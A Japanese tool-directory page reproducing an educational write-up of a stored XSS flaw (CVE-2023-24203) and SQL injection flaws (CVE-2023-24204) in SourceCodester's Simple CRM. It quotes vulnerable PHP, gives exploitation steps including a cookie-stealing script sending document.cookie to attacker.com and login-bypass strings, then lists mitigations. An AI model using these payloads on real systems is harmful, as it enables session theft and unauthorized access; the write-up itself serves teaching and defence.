Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — CVE-2023-24203 (Stored XSS) および CVE-2023-24204 (SQL Injection) の教育的分析 - SourceCodester CRM における、悪用手順と緩和戦略を含む。 | Kitploit
ツール/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ論文と研究学習と教育
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

CVE-2023-24203 (Stored XSS) および CVE-2023-24204 (SQL Injection) の教育的分析 - SourceCodester CRM における、悪用手順と緩和戦略を含む。

リポジトリを見る
12年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-24203 と CVE-2023-24204

はじめに

進化し続けるサイバーセキュリティの世界において、Webアプリケーションは依然として攻撃者の主な標的であり、脆弱性を悪用しようとしています。近年、SourceCodester Simple Customer Relationship Management (CRM) System v1.0 で 2 つの深刻な脆弱性、CVE-2023-24203 と CVE-2023-24204 が発見されました。これらの脆弱性は、クロスサイトスクリプティング (XSS) および SQL インジェクションに関連し、任意のコード実行や不正アクセスなどの重大なリスクをもたらします。これらの脆弱性とその影響を理解することは、開発者やセキュリティ専門家がシステムを潜在的な脅威から保護するために不可欠です。

クロスサイトスクリプティング (XSS)

クロスサイトスクリプティング (XSS) は、Web アプリケーションが、他のユーザーが閲覧する Web ページに悪意のあるスクリプトをユーザーが挿入できるようにする場合に発生する脆弱性の一種です。これにより、ユーザーに代わっての不正な操作、データの盗難、さらなる悪用につながる可能性があります。XSS 脆弱性は、主に 3 つのタイプに分類されます。

  1. 格納型 XSS: 悪意のあるスクリプトが、データベース、メッセージフォーラム、コメントフィールドなど、ターゲットサーバーに永続的に保存されます。
  2. 反射型 XSS: 悪意のあるスクリプトが Web サーバーで反射されます。例えば、エラーメッセージ、検索結果、またはサーバーに送信された入力の一部または全部を含むその他の応答においてです。
  3. DOM ベース XSS: 脆弱性はサーバー側のコードではなく、クライアント側のコードに存在します。

SQL インジェクション

SQL インジェクションは、攻撃者が SQL クエリに任意の SQL コードを注入することで SQL クエリを操作できる場合に発生する脆弱性の一種です。これにより、不正アクセス、データ盗難、その他の悪意のある行為につながる可能性があります。SQL インジェクションは通常、入力検証の不十分さやパラメータ化クエリの欠如が原因で発生します。SQL インジェクションの主な影響は次のとおりです。

  1. 不正アクセス: 攻撃者は認証メカニズムをバイパスしてシステムに不正にアクセスできます。
  2. データ盗難: 攻撃者はデータベースから機密情報を外部に持ち出すことができます。
  3. データ改ざん: 攻撃者はデータベース内のデータを変更、挿入、または削除できます。

このブログ記事では、CVE-2023-24203 と CVE-2023-24204 について詳しく説明し、これらの脆弱性の詳細、攻撃ベクトル、影響、および緩和策を探ります。これらの脆弱性を深く理解することは、アプリケーションとデータを潜在的なエクスプロイトから保護するために重要です。

Web アプリケーションにおける SQL インジェクションの一般的な原因

SQL インジェクションの脆弱性は、多くの場合、不適切な入力検証と不適切なコーディング慣行が原因で発生します。一般的な原因には次のものがあります。

  1. パラメータ化クエリの欠如: パラメータ化クエリを使用しないと、攻撃者がクエリ文字列に悪意のある SQL コードを注入できるようになります。
  2. 不十分な入力検証: ユーザー入力を適切に検証しないと、意図しない SQL コマンドが実行される可能性があります。
  3. 動的 SQL クエリ: ユーザー入力から直接文字列を連結して SQL クエリを動的に構築すると、悪用可能な脆弱性が生じる可能性があります。
  4. ユーザー入力のエスケープ不十分: ユーザー入力内の特殊文字を適切にエスケープしないと、SQL インジェクション攻撃が許容される可能性があります。
  5. レガシーコード: 古いコードベースは最新のセキュリティ慣行に従っていない可能性があり、SQL インジェクションに対して脆弱になる可能性があります。

Web アプリケーションにおける XSS の一般的な原因

クロスサイトスクリプティング (XSS) の脆弱性は、通常、ユーザーの入力と出力を適切に処理できないことが原因で発生します。一般的な原因には次のものがあります。

  1. 不適切な出力エンコード: Web ページに表示する前にユーザー入力をエンコードしないと、悪意のあるスクリプトが注入される可能性があります。
  2. 不十分な入力検証: ユーザー入力を検証またはサニタイズしないと、注入されたスクリプトが実行される可能性があります。
  3. 反射されたユーザー入力: 適切な検証やエンコードを行わずにユーザー入力を応答に直接反映すると、反射型 XSS が発生する可能性があります。
  4. 保存されたユーザー入力: 適切なサニタイズなしでユーザー入力を保存すると、格納型 XSS 攻撃につながる可能性があります。
  5. DOM 操作: ユーザー入力に基づいて Document Object Model (DOM) を安全でない方法で操作すると、DOM ベース XSS が発生する可能性があります。

CVE-2023-24203: 格納型 XSS の発見!

脆弱性の概要

CVE-2023-24203 は、SourceCodester Simple Customer Relationship Management (CRM) System v1.0 の get-quote.php コンポーネントで見つかった格納型クロスサイトスクリプティング (XSS) の脆弱性です。この脆弱性により、攻撃者は company および query パラメータに悪意のあるスクリプトを注入でき、そのスクリプトはデータベースに保存され、管理者が閲覧したときに実行され、任意のコード実行につながります。

脆弱性の詳細

脆弱性は、見積依頼フォームからのユーザー入力を処理する get-quote.php スクリプトに存在します。PHP のソースコードは以下の通りです。

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

スクリプトはフォームからユーザー入力(name、email、contact、company、services、other、query)を受け取り、それらを直接 SQL クエリに組み込んでデータベースに保存します。services 入力は mysqli_real_escape_string と addslashes を使用してサニタイズされますが、company と query パラメータは応答に出力される際に適切にサニタイズまたはエンコードされません。この適切なサニタイズとエンコードの欠如により、悪意のあるスクリプトがデータベースに注入および保存されることが可能になります。

悪用

この脆弱性を悪用するために、攻撃者は company または query パラメータに悪意のある JavaScript コードを含むペイロードを作成できます。管理者が見積依頼を閲覧すると、注入されたスクリプトが管理者のブラウザで実行されます。

エクスプロイトペイロードの例

次のペイロードを query パラメータに送信することで、

root@kitploit:~
<script>alert('XSS');</script>

攻撃者は管理者が見積依頼を閲覧したときに XSS 攻撃をトリガーできます。

管理者 Cookie の窃取

さらに悪質なペイロードを使用して、管理者のセッション Cookie を盗むことができます。次のペイロードを query パラメータに使用します。

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

攻撃者は管理者の Cookie を攻撃者が管理するリモートサーバーに送信できます。

悪用の手順

  1. 悪意のある見積依頼を送信する: 攻撃者は見積依頼フォームに、悪意のあるペイロードを company または query フィールドに注入して記入します。
root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>
  1. 管理者がリクエストを閲覧する: 管理者が CRM システムにログインし、送信された見積りを表示すると、悪意のあるスクリプトが管理者のブラウザで実行され、管理者のセッション Cookie が攻撃者のサーバーに送信されます。

影響

この格納型 XSS 脆弱性が悪用されると、攻撃者は管理者のブラウザのコンテキストで任意の JavaScript を実行できます。これにより、以下のようなさまざまな悪意のある行為が可能になります。

  • セッション Cookie の盗難
  • ユーザーセッションの乗っ取り
  • 管理者に代わっての不正な操作の実行
  • 管理者を悪意のある Web サイトへリダイレクト

緩和策

この脆弱性を緩和するには、Web ページに組み込む前にすべてのユーザー入力をサニタイズし、エンコードすることが不可欠です。具体的には以下の対策があります。

  • 入力のサニタイズ: htmlspecialchars() などの関数を使用して、ユーザー入力の特殊文字をエンコードします。
  • 入力の検証: 厳格な入力検証を実装して、期待されるデータのみを受け入れるようにします。
  • コンテンツセキュリティポリシー (CSP): CSP ヘッダーを使用して、スクリプトの読み込み元と実行元を制限します。

CVE-2023-24204: SQL インジェクションと認証バイパスの発見!

CVE-2023-24204 は、SourceCodester Simple Customer Relationship Management (CRM) System v1.0 の get-quote.php および login.php コンポーネントで見つかった SQL インジェクションの脆弱性です。この脆弱性により、攻撃者は任意の SQL コマンドをデータベースに注入でき、不正アクセスやデータ改ざんにつながる可能性があります。

脆弱性の詳細

SQL インジェクションの脆弱性は、get-quote.php と admin/login.php の両方のスクリプトに存在します。以下に、これらの脆弱性がどのように現れ、悪用され得るかを分析します。

get-quote.php

get-quote.php スクリプトは、見積依頼フォームからのユーザー入力を処理します。ソースコードは以下の通りです。

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

次に、login.php のソースコードロジックも見てみましょう。

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

脆弱性の分析

get-quote.php スクリプトは、name パラメータを適切にサニタイズしていません。攻撃者は Burp Suite などのツールを使用してリクエストを傍受し、name パラメータを変更して悪意のある SQL コマンドを注入できます。

login.php スクリプトは、email および password フィールドに対する適切な入力検証が欠如しているため、認証バイパスに対して脆弱です。攻撃者は hack' or 1=1;# のようなペイロードを使用して認証をバイパスし、アクセスを取得できます。

悪用

  1. get-quote.php の悪用
  2. リクエストを傍受する: Burp Suite などのプロキシツールを使用してフォーム送信リクエストを傍受します。
  3. name パラメータを変更する: name パラメータに悪意のある SQL コマンドを注入します。例:

' OR '1'='1';--

  1. 変更したリクエストを送信する: 変更したリクエストをサーバーに送信します。注入された SQL コマンドがデータベースによって実行されます。

  2. login.php の悪用

  3. ログインページに移動する: login.php ページに移動します。

  4. 悪意のあるペイロードを入力する: email フィールドに hack' or 1=1;# のようなペイロードを使用し、password フィールドには任意の文字列を入力します。



  1. 認証をバイパスする: フォームを送信します。ペイロードが認証をバイパスし、アカウントへのアクセスを許可します。

影響

これらの SQL インジェクション脆弱性が悪用されると、以下のようなさまざまな悪意のある行為につながる可能性があります。

  • 不正アクセス: 攻撃者はシステムへの管理者アクセスを取得できます。
  • データ盗難: 攻撃者はデータベースから機密情報を外部に持ち出すことができます。
  • データ改ざん: 攻撃者はデータベース内のデータを変更、挿入、または削除できます。

緩和策

これらの脆弱性を緩和するには、適切な入力検証を実装し、パラメータ化クエリを使用することが不可欠です。具体的には以下の対策があります。

  • プリペアドステートメントの使用: パラメータ化クエリを実装して SQL インジェクションを防止します。
  • 入力の検証: 厳格な入力検証を適用して、期待されるデータのみを受け入れるようにします。
  • 入力のエスケープ: SQL クエリで使用する前に、すべてのユーザー入力を適切にエスケープします。

これらのベストプラクティスに従うことで、SQL インジェクション攻撃のリスクを大幅に低減し、Web アプリケーションを潜在的な悪用から保護できます。

ツールをダウンロード